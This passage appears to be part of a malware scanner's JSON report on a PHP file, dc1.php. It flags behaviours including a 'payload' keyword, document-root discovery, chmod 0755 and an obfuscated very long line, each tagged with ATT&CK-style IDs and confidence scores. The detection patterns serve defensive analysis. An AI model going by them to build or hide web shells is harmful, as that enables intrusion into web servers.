            "c": 0.8999999761581421,
            "d": "HTTP protocol prefix",
            "e": [
              "http://"
            ],
            "i": "micro-behaviors/communications/http/protocol::http-prefix",
            "l": 2
          },
          {
            "c": 0.6000000238418579,
            "d": "payload keyword",
            "e": [
              "payload"
            ],
            "i": "micro-behaviors/data/text/keywords/lexicon::payload",
            "l": 1
          },
          {
            "a": "T1082",
            "c": 0.6000000238418579,
            "d": "Accesses DOCUMENT_ROOT variable",
            "e": [
              "$_SERVER['DOCUMENT_ROOT']"
            ],
            "i": "objectives/discovery/system/fingerprint/info::document-root-access",
            "l": 3,
            "m": "E1082"
          },
          {
            "a": "T1222",
            "c": 0.800000011920929,
            "d": "Python chmod 755 (owner executable)",
            "e": [
              "chmod($path, 0755)"
            ],
            "i": "micro-behaviors/fs/chmod/executable/mode::python-0755",
            "l": 3,
            "m": "E1222"
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "PHP source contains very long line",
            "e": [
              "text.max_line_length = 24390.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::php-single-long-line",
            "l": 4,
            "m": "B0032"
          }
        ],
        "sha": "612de87a07afd4e1ae6c012e5daeb93ca8177023db1e921ed7adcd5b07333445",
        "path": "dc1.php",
        "type": "php"
      }
    ],
    "tv": "a9555"
  }
}